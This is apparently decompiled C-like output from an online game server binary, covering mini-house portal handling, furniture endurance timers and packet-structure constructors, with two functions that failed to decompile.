-------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_OPEN_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 char v4; // al@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(*(_DWORD *)&v2->gap0[0] + 276))(v2) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 6648; } else { v4 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *, _DWORD))(*(_DWORD *)&v2->gap0[0] + 280))( v2, pReq->nPortalItemID); --funcallanalizer.fca_stackpoint; if ( v4 ) { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 4481; } else { FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalOpen"); result = 6649; } } return result; } //----- (004EEF10) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMiniHouse::so_mh_PortalClose(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_MINIHOUSE_PORTAL_CLOSE_REQ *pReq) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int result; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 276))(v2) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v2->gap0[0] + 284))(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); result = 4481; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_PortalClose"); result = 6656; } return result; } //----- (004EEFF0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 unsigned __int16 v2; // ax@2 unsigned __int16 v3; // si@4 unsigned __int16 result; // ax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 276))(v1) && (v2 = v1->smh_PortalList.ActivePortalIndex, v2 < 0x32u) && v2 < v1->smh_PortalList.nPortalCnt ) { v3 = *(_WORD *)&v1->gap0[6 * (v2 + 8193)]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); result = v3; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_GetActivePortalID"); result = -1; } return result; } //----- (004EF0F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_PortalList.isActivePortal; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isActivePortal"); return v2; } //----- (004EF160) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal(ShineObjectClass::ShineMiniHouse *this, unsigned __int16 nPortalItemID) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 int v3; // ecx@1 char result; // al@2 signed int v5; // eax@3 int v6; // ecx@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v3 = funcallanalizer.fca_stackpoint++ + 1; if ( nPortalItemID == -1 ) { funcallanalizer.fca_stackpoint = v3 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); result = 0; } else { v5 = 0; if ( v2->smh_PortalList.nPortalCnt ) { v6 = (int)v2->smh_PortalList.Portal; while ( v5 < 50 ) { if ( *(_WORD *)v6 == nPortalItemID ) { v2->smh_PortalList.ActivePortalIndex = v5; v2->smh_PortalList.isActivePortal = 1; v2->smh_PortalList.PortalDeActiveTime = clockwatch.cw_CurrTick + 600; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); return 1; } ++v5; v6 += 6; if ( v5 >= v2->smh_PortalList.nPortalCnt ) break; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_ActivePortal"); result = 0; } return result; } //----- (004EF2A0) -------------------------------------------------------- char __cdecl ShineObjectClass::ShineObject::so_mh_isEndureGradeDown() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mh_isEndureGradeDown"); return 0; } //----- (004EF2F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smh_EndureCheckTime.isEndureCheck; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_isEndureGradeDown"); return v2; } //----- (004EF360) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // ebp@1 int v3; // edx@1 int v4; // edx@3 unsigned __int16 v5; // ax@3 int v6; // esi@3 signed int v7; // edi@5 int v8; // eax@6 int v9; // ecx@6 int v10; // eax@7 int v11; // eax@11 int v12; // ebp@12 __int16 v13; // si@13 int v14; // edi@13 signed int v15; // eax@14 CIDEB_Element *v16; // esi@23 ShineDateTime *v17; // eax@25 MiniHouseEndure *v18; // eax@28 unsigned __int16 v19; // di@28 MiniHouseEndure *v20; // eax@28 unsigned __int16 v21; // ax@28 unsigned int v22; // eax@29 char *v23; // [sp-8h] [bp-54h]@4 ChargedItemEffectFinger finger; // [sp+Ch] [bp-40h]@14 int nEndureGrade; // [sp+10h] [bp-3Ch]@25 int i; // [sp+14h] [bp-38h]@5 int v27; // [sp+18h] [bp-34h]@3 FunctionEntarance _; // [sp+1Ch] [bp-30h]@1 int ibii; // [sp+20h] [bp-2Ch]@6 int v30; // [sp+24h] [bp-28h]@6 int v31; // [sp+28h] [bp-24h]@9 int v32; // [sp+2Ch] [bp-20h]@9 ItemFurnicherBox *inven; // [sp+30h] [bp-1Ch]@3 ItemFurnicherBox *v34; // [sp+34h] [bp-18h]@3 ItemFurnicherBox *v35; // [sp+38h] [bp-14h]@3 ItemFurnicherBox *v36; // [sp+3Ch] [bp-10h]@3 int v37; // [sp+48h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&v1->gap0[0]; v37 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v3 + 148))(v1) ) { inven = &v1->smh_Furniture.FurnitureInven; v34 = &v1->smh_Furniture.AccessoryInven; v35 = &v1->smh_Furniture.TileAllInven; v4 = *(_DWORD *)&v1->gap0[0]; v36 = &v1->smh_Furniture.MiniGameInven; v5 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v4 + 132))(v1); v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v5); v27 = v6; if ( v6 ) { v7 = 0; v1->smh_EndureCheckTime.isEndureCheck = 0; v1->smh_EndureCheckTime.nEndureFurnitureCnt = 0; i = 0; do { v8 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1156))(v6); v9 = (int)*(&inven + v7); ibii = (int)ItemBoxIterator::_vftable_; v30 = v9; if ( v8 ) v10 = (*(int (__stdcall **)(int))(*(_DWORD *)v9 + 4))(v8); else v10 = (*(int (**)(void))(*(_DWORD *)v9 + 8))(); v32 = v10; ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v37) = 1; v31 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v11 = (**(int (__stdcall ***)(_DWORD))v30)(v31); if ( v11 ) { v12 = *(_DWORD *)(v11 + 112); if ( v12 ) { v13 = *(_WORD *)(v11 + 8); v14 = v11 + 8; if ( v13 != -1 ) { MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v37) = 2; v15 = -1; while ( v15 >= -1 ) { ++v15; finger.cief_Finger = v15; if ( v15 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v15].ce_ItemID == v13 ) goto LABEL_20; } finger.cief_Finger = -10; LABEL_20: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) != minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { if ( finger.cief_Finger >= 0 ) { if ( finger.cief_Finger < minihousefurnituredatabox.cideb_Total ) { v16 = &minihousefurnituredatabox.cideb_Array[finger.cief_Finger]; if ( v16 ) { if ( v16->ce_Data ) { v17 = (ShineDateTime *)(*(int (__thiscall **)(int, int))(*(_DWORD *)v12 + 120))(v12, v14); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure, v17, (MHE_STEP *)&nEndureGrade) ) { if ( nEndureGrade >= 1 ) { if ( nEndureGrade < 4 ) { v18 = MiniHouseEndureDataBox::operator__( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure); v19 = *(&v18->Handle + nEndureGrade); v20 = MiniHouseEndureDataBox::operator__( &minihouseenduredatabox, v16->ce_Data->KeepTime_Endure); v21 = v20->Endure[nEndureGrade]; if ( v19 ) { v22 = 36000 * (v19 - v21) + clockwatch.cw_CurrTick + 10; if ( v1->smh_EndureCheckTime.tEndureCheckTime > v22 ) { v1->smh_EndureCheckTime.tEndureCheckTime = v22; v1->smh_EndureCheckTime.isEndureCheck = 1; } } } } } } } } } } LOBYTE(v37) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); v7 = i; v6 = v27; v2 = -1; } ++v7; LOBYTE(v37) = 0; ibii = (int)ItemBoxIterator::_vftable_; i = v7; } while ( v7 < 4 ); v23 = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; } else { v23 = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; } --funcallanalizer.fca_stackpoint; v37 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); } else { --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); } } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004EF690) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DoingEndureGradeDown(ShineObjectClass::ShineMiniHouse *this, char *bIsPlaced) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 signed int v3; // ebp@1 int v4; // edx@1 char result; // al@2 int v6; // edx@3 unsigned __int16 v7; // ax@3 int v8; // ebx@3 signed int v9; // edi@5 int v10; // eax@6 int v11; // ecx@6 int v12; // eax@7 int v13; // eax@11 int v14; // ebp@11 int v15; // eax@12 __int16 v16; // di@13 signed int v17; // eax@14 CIDEB_Element *v18; // edi@24 int v19; // ebx@26 ShineDateTime *v20; // eax@26 ChargedItemEffectFinger finger; // [sp+10h] [bp-44h]@14 void *pFurniture_iac; // [sp+14h] [bp-40h]@12 int nNextEndureGrade; // [sp+18h] [bp-3Ch]@26 int i; // [sp+1Ch] [bp-38h]@5 int v25; // [sp+20h] [bp-34h]@3 FunctionEntarance _; // [sp+24h] [bp-30h]@1 int ibii; // [sp+28h] [bp-2Ch]@6 int v28; // [sp+2Ch] [bp-28h]@6 int v29; // [sp+30h] [bp-24h]@9 int v30; // [sp+34h] [bp-20h]@9 ItemFurnicherBox *inven; // [sp+38h] [bp-1Ch]@3 ItemFurnicherBox *v32; // [sp+3Ch] [bp-18h]@3 ItemFurnicherBox *v33; // [sp+40h] [bp-14h]@3 ItemFurnicherBox *v34; // [sp+44h] [bp-10h]@3 int v35; // [sp+50h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)&v2->gap0[0]; v35 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v4 + 148))(v2) ) { inven = &v2->smh_Furniture.FurnitureInven; v32 = &v2->smh_Furniture.AccessoryInven; v33 = &v2->smh_Furniture.TileAllInven; v6 = *(_DWORD *)&v2->gap0[0]; v34 = &v2->smh_Furniture.MiniGameInven; v7 = (*(int (__thiscall **)(ShineObjectClass::ShineMiniHouse *))(v6 + 132))(v2); v8 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v7); v25 = v8; if ( v8 ) { v9 = 0; v2->smh_EndureCheckTime.isEndureCheck = 0; v2->smh_EndureCheckTime.nEndureFurnitureCnt = 0; i = 0; do { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 1156))(v8); v11 = (int)*(&inven + v9); ibii = (int)ItemBoxIterator::_vftable_; v28 = v11; if ( v10 ) v12 = (*(int (__stdcall **)(int))(*(_DWORD *)v11 + 4))(v10); else v12 = (*(int (**)(void))(*(_DWORD *)v11 + 8))(); v30 = v12; ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v35) = 1; v29 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v13 = (**(int (__stdcall ***)(_DWORD))v28)(v29); v14 = v13; if ( v13 ) { v15 = *(_DWORD *)(v13 + 112); pFurniture_iac = *(void **)(v14 + 112); if ( v15 ) { v16 = *(_WORD *)(v14 + 8); if ( v16 != -1 ) { MoveManager::MoveManager((DiceTaiSai *)&finger); LOBYTE(v35) = 2; v17 = -1; while ( v17 >= -1 ) { ++v17; finger.cief_Finger = v17; if ( v17 >= minihousefurnituredatabox.cideb_Total ) break; if ( minihousefurnituredatabox.cideb_Array[v17].ce_ItemID == v16 ) goto LABEL_20; } finger.cief_Finger = -10; LABEL_20: if ( ChargedItemEffectFinger::cief_GetFinger((ORErrorMessage *)&finger) == minihousefurnituredatabox.baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); } else { if ( finger.cief_Finger >= 0 ) { if ( finger.cief_Finger < minihousefurnituredatabox.cideb_Total ) { v18 = &minihousefurnituredatabox.cideb_Array[finger.cief_Finger]; if ( v18 ) { if ( v18->ce_Data ) { v19 = *(_BYTE *)(v14 + 37); v20 = (ShineDateTime *)(*(int (__stdcall **)(int))(*(_DWORD *)pFurniture_iac + 120))(v14 + 8); if ( MiniHouseEndureDataBox::mhe_CalEndureGrade( &minihouseenduredatabox, v18->ce_Data->KeepTime_Endure, v20, (MHE_STEP *)&nNextEndureGrade) ) { if ( v19 != nNextEndureGrade ) { (*(void (__stdcall **)(int, int))(*(_DWORD *)pFurniture_iac + 132))( v14, nNextEndureGrade); if ( *(_BYTE *)(v14 + 10) & 1 ) { v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt].isRePair = 0; v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt].nEndureGrade = nNextEndureGrade; v2->smh_EndureCheckTime.EndureFurniture[v2->smh_EndureCheckTime.nEndureFurnitureCnt++].nFurnitureHnd = *(_WORD *)(v14 + 11); *bIsPlaced = 1; } } } } } } } LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&finger); v8 = v25; } } } } } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); v9 = i; v3 = -1; } ++v9; LOBYTE(v35) = 0; ibii = (int)ItemBoxIterator::_vftable_; i = v9; } while ( v9 < 4 ); --funcallanalizer.fca_stackpoint; v35 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 1; } else { --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMiniHouse::so_mh_EndureGradeDownTimeUpdate"); result = 0; } return result; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004EF9F0) -------------------------------------------------------- #error "4EF9F0: undefined or illegal type '#331' (funcsize=175)" //----- (004EFC10) -------------------------------------------------------- #error "4EFC10: undefined or illegal type '#440' (funcsize=361)" //----- (004F01A0) -------------------------------------------------------- void __thiscall NameString::NameString(NameString *this) { this->ns_point.mask = 127; this->ns_point.value = 0; } //----- (004F01C0) -------------------------------------------------------- void __thiscall MobTargetAggresiveALL::_MobTargetAggresiveALL(MobTargetAggresiveALL *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::_MobTargetAggresive(&this->baseclass_0); } // 5BF948: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #331 *, #331 *, int distancesquar); //----- (004F01D0) -------------------------------------------------------- void *__thiscall MobTargetAggresiveALL::_scalar_deleting_destructor_(MobTargetAggresiveALL *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresiveALL::_MobTargetAggresiveALL(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004F02A0) -------------------------------------------------------- void __thiscall PacketContainer::pcb_Clear(PacketContainer *this) { this->pc_Pointer = 0; } //----- (004F02B0) -------------------------------------------------------- void __thiscall BriefInformationCharacter::BriefInformationCharacter(BriefInformationCharacter *this) { BriefInformationCharacter *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bic_pack.pp_PacketLength = 0; this->bic_pack.pp_Buffer = this->bic_array; this->bic_pack.pp_BufferSize = 147; ProtocolPacket::pp_SetPacketLen(&this->bic_pack, 146); v2 = v1->bic_pack.pp_Buffer; v1->bic_nc = (NETCOMMAND *)v1->bic_pack.pp_Buffer; v1->bic_BriefInfo = (PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bic_nc->protocol = v1->bic_nc->protocol & 0xFC06 | 6; v1->bic_BriefInfo->type = 2; v1->bic_BriefInfo->myguild = 0; v1->bic_BriefInfo->isGuildAcademyMember = 0; } //----- (004F0340) -------------------------------------------------------- void __thiscall BriefInformationMob::BriefInformationMob(BriefInformationMob *this) { BriefInformationMob *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bim_pack.pp_PacketLength = 0; this->bim_pack.pp_Buffer = this->bim_array; this->bim_pack.pp_BufferSize = 67; ProtocolPacket::pp_SetPacketLen(&this->bim_pack, 66); v2 = v1->bim_pack.pp_Buffer; v1->bim_nc = (NETCOMMAND *)v1->bim_pack.pp_Buffer; v1->bim_BriefInfo = (PROTO_NC_BRIEFINFO_REGENMOB_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bim_nc->protocol = v1->bim_nc->protocol & 0xFC08 | 8; } //----- (004F03A0) -------------------------------------------------------- void __thiscall BriefInformationMiniHouse::BriefInformationMiniHouse(BriefInformationMiniHouse *this) { BriefInformationMiniHouse *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bimh_pack.pp_PacketLength = 0; this->bimh_pack.pp_Buffer = this->bimh_array; this->bimh_pack.pp_BufferSize = 63; ProtocolPacket::pp_SetPacketLen(&this->bimh_pack, 62); v2 = v1->bimh_pack.pp_Buffer; v1->bimh_nc = (NETCOMMAND *)v1->bimh_pack.pp_Buffer; v1->bimh_BriefInfo = (PROTO_NC_BRIEFINFO_MINIHOUSEBUILD_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bimh_nc->protocol = v1->bimh_nc->protocol & 0xFC13 | 0x13; } //----- (004F0400) -------------------------------------------------------- void __thiscall BriefInformationEffect::BriefInformationEffect(BriefInformationEffect *this) { BriefInformationEffect *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bie_Pack.pp_PacketLength = 0; this->bie_Pack.pp_Buffer = this->bie_Array; this->bie_Pack.pp_BufferSize = 50; ProtocolPacket::pp_SetPacketLen(&this->bie_Pack, 49); v2 = v1->bie_Pack.pp_Buffer; v1->bie_nc = (NETCOMMAND *)v1->bie_Pack.pp_Buffer; v1->bie_BriefInfo = (PROTO_NC_BRIEFINFO_EFFECTBLAST_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bie_nc->protocol = v1->bie_nc->protocol & 0xFC11 | 0x11; v1->bie_BriefInfo->scale = 1000; } //----- (004F0460) -------------------------------------------------------- void __thiscall BriefInformationDoor::BriefInformationDoor(BriefInformationDoor *this) { BriefInformationDoor *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bid_pack.pp_PacketLength = 0; this->bid_pack.pp_Buffer = this->bid_array; this->bid_pack.pp_BufferSize = 51; ProtocolPacket::pp_SetPacketLen(&this->bid_pack, 50); v2 = v1->bid_pack.pp_Buffer; v1->bid_nc = (NETCOMMAND *)v1->bid_pack.pp_Buffer; v1->bid_BriefInfo = (PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bid_nc->protocol = v1->bid_nc->protocol & 0xFC0F | 0xF; v1->bid_BriefInfo->scale = 1000; } //----- (004F04C0) -------------------------------------------------------- void __thiscall BriefInformationDropItem::BriefInformationDropItem(BriefInformationDropItem *this) { BriefInformationDropItem *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bidi_Pack.pp_PacketLength = 0; this->bidi_Pack.pp_Buffer = this->bidi_Array; this->bidi_Pack.pp_BufferSize = 18; ProtocolPacket::pp_SetPacketLen(&this->bidi_Pack, 17); v2 = v1->bidi_Pack.pp_Buffer; v1->bidi_nc = (NETCOMMAND *)v1->bidi_Pack.pp_Buffer; v1->bidi_BriefInfo = (PROTO_NC_BRIEFINFO_DROPEDITEM_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bidi_nc->protocol = v1->bidi_nc->protocol & 0xFC0A | 0xA; } //----- (004F0520) -------------------------------------------------------- void __thiscall BriefInformationMagicField::BriefInformationMagicField(BriefInformationMagicField *this) { BriefInformationMagicField *v1; // esi@1 char *v2; // eax@1 v1 = this; this->bimfm_Pack.pp_PacketLength = 0; this->bimfm_Pack.pp_Buffer = this->bimfm_Array; this->bimfm_Pack.pp_BufferSize = 19; ProtocolPacket::pp_SetPacketLen(&this->bimfm_Pack, 18); v2 = v1->bimfm_Pack.pp_Buffer; v1->bimfm_nc = (NETCOMMAND *)v1->bimfm_Pack.pp_Buffer; v1->bimfm_BriefInfo = (PROTO_NC_BRIEFINFO_MAGICFIELDSPREAD_CMD *)(v2 + 2); *(_WORD *)v2 = *(_WORD *)v2 & 0x3FF | 0x1C00; v1->bimfm_nc->protocol = v1->bimfm_nc->protocol & 0xFC0C | 0xC; } //----- (004F0580) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_Setpartyslot(int this, int ps) { int result; // eax@1 result = ps; *(_DWORD *)(this + 88948) = ps; return result; } //----- (004F0590) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundReq(int this) { *(_BYTE *)(this + 23325) &= 0xF7u; } //----- (004F05A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_UnlockRefundCancelReq(int this) { *(_BYTE *)(this + 23325) &= 0xEFu; } //----- (004F05B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetPossibleNewConnect(int this, char isPossibleNewConnect) { char result; // al@1 result = isPossibleNewConnect; *(_BYTE *)(this + 92276) = isPossibleNewConnect; return result; } //----- (004F05C0) -------------------------------------------------------- void __thiscall CharacterInventory::CharacterInventory(CharacterInventory *this) { CharacterInventory *v1; // esi@1 v1 = this; ItemEquipment::ItemEquipment(&this->ci_Equipment); ItemInventory::ItemInventory(&v1->ci_Inventory); ItemQuestItemBox::ItemQuestItemBox(&v1->ci_QuestBox); ItemMiniHouseBox::ItemMiniHouseBox(&v1->ci_MiniHouse); ItemActionItemBox::ItemActionItemBox(&v1->ci_ActionBox); } //----- (004F0640) -------------------------------------------------------- void __thiscall CharacterInventory::_CharacterInventory(CharacterInventory *this) { CharacterInventory *v1; // esi@1 v1 = this; ItemActionItemBox::_ItemActionItemBox(&this->ci_ActionBox); 